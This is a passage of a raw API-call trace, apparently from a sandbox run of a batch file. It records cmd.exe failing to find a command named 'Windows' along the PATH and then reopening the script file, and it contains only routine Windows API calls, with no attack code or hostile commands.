dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.744] GetLastError () returned 0x2 [0162.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.744] GetLastError () returned 0x2 [0162.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.744] GetLastError () returned 0x2 [0162.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.744] GetLastError () returned 0x2 [0162.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.745] GetLastError () returned 0x2 [0162.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.745] GetLastError () returned 0x2 [0162.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.745] GetLastError () returned 0x2 [0162.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.745] GetLastError () returned 0x2 [0162.745] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.745] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.746] GetLastError () returned 0x2 [0162.746] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.746] GetLastError () returned 0x2 [0162.746] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.746] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.746] GetLastError () returned 0x2 [0162.746] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.746] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.746] GetLastError () returned 0x2 [0162.746] ??_V@YAXPEAX@Z () returned 0x1 [0162.746] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.747] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.747] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.747] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.747] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.748] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.748] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.748] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.748] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.748] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.748] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.748] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.748] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.748] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.748] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.748] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.748] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.748] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.748] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.748] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.748] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.748] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.748] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.748] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.748] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.748] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.748] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.748] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.748] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.748] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.748] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.748] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.748] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.748] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.748] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.748] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.748] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.749] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.749] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.749] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.749] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.749] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.749] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.749] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.749] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.749] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.749] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.749] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.749] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.749] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.749] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.749] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.749] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.749] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.749] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.749] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.749] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.749] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.749] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.749] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.749] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.749] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.749] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.749] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.749] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.750] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.750] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.750] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.750] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.750] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.750] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.750] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.750] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.750] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.750] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.750] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.750] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.750] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.750] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.750] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.750] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.750] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.750] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.750] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.750] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.750] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.750] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.750] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.750] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.750] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.750] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.750] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.750] ??_V@YAXPEAX@Z () returned 0x1 [0162.751] GetProcessHeap () returned 0x20b0f920000 [0162.751] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.751] GetProcessHeap () returned 0x20b0f920000 [0162.751] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xba) returned 0x20b0f957da0 [0162.752] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.752] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.752] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.752] GetProcessHeap () returned 0x20b0f920000 [0162.752] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.753] SetErrorMode (uMode=0x0) returned 0x0 [0162.753] SetErrorMode (uMode=0x1) returned 0x0 [0162.753] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.753] SetErrorMode (uMode=0x0) returned 0x1 [0162.753] GetProcessHeap () returned 0x20b0f920000 [0162.753] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.753] GetProcessHeap () returned 0x20b0f920000 [0162.753] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.753] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.753] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.754] GetProcessHeap () returned 0x20b0f920000 [0162.754] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.754] GetProcessHeap () returned 0x20b0f920000 [0162.754] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.754] GetProcessHeap () returned 0x20b0f920000 [0162.754] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.754] GetProcessHeap () returned 0x20b0f920000 [0162.754] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.754] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.754] GetProcessHeap () returned 0x20b0f920000 [0162.754] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.754] GetProcessHeap () returned 0x20b0f920000 [0162.754] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.754] GetProcessHeap () returned 0x20b0f920000 [0162.754] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.754] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.754] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d150 [0162.754] FindClose (in: hFindFile=0x20b0f92d150 | out: hFindFile=0x20b0f92d150) returned 1 [0162.754] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.755] GetLastError () returned 0x2 [0162.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.755] GetLastError () returned 0x2 [0162.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.755] GetLastError () returned 0x2 [0162.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.755] GetLastError () returned 0x2 [0162.755] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.756] GetLastError () returned 0x2 [0162.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.756] GetLastError () returned 0x2 [0162.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.756] GetLastError () returned 0x2 [0162.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.756] GetLastError () returned 0x2 [0162.756] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.757] GetLastError () returned 0x2 [0162.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.757] GetLastError () returned 0x2 [0162.757] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.757] GetLastError () returned 0x2 [0162.757] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.757] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.758] GetLastError () returned 0x2 [0162.758] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d330 [0162.758] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0162.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.758] GetLastError () returned 0x2 [0162.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.758] GetLastError () returned 0x2 [0162.758] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.759] GetLastError () returned 0x2 [0162.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.759] GetLastError () returned 0x2 [0162.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.759] GetLastError () returned 0x2 [0162.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.759] GetLastError () returned 0x2 [0162.759] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.760] GetLastError () returned 0x2 [0162.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.760] GetLastError () returned 0x2 [0162.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.760] GetLastError () returned 0x2 [0162.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.760] GetLastError () returned 0x2 [0162.760] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.761] GetLastError () returned 0x2 [0162.761] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.761] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.761] GetLastError () returned 0x2 [0162.761] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.761] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.761] GetLastError () returned 0x2 [0162.761] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.761] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.762] GetLastError () returned 0x2 [0162.762] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.762] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.762] GetLastError () returned 0x2 [0162.762] ??_V@YAXPEAX@Z () returned 0x1 [0162.762] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.762] GetFileType (hFile=0x54) returned 0x2 [0162.762] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.762] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.763] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.763] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.763] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.763] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.763] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.770] ??_V@YAXPEAX@Z () returned 0x1 [0162.770] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.770] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.771] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.771] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.771] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.771] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.771] SetConsoleInputExeNameW () returned 0x1 [0162.771] GetConsoleOutputCP () returned 0x1b5 [0162.772] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.772] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.773] ??_V@YAXPEAX@Z () returned 0x1 [0162.774] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.774] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.774] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.774] SetFilePointer (in: hFile=0x94, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0162.774] GetProcessHeap () returned 0x20b0f920000 [0162.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.774] GetProcessHeap () returned 0x20b0f920000 [0162.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.774] GetProcessHeap () returned 0x20b0f920000 [0162.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.774] GetProcessHeap () returned 0x20b0f920000 [0162.774] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.775] GetProcessHeap () returned 0x20b0f920000 [0162.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957da0) returned 1 [0162.775] GetProcessHeap () returned 0x20b0f920000 [0162.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.775] GetProcessHeap () returned 0x20b0f920000 [0162.775] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.775] 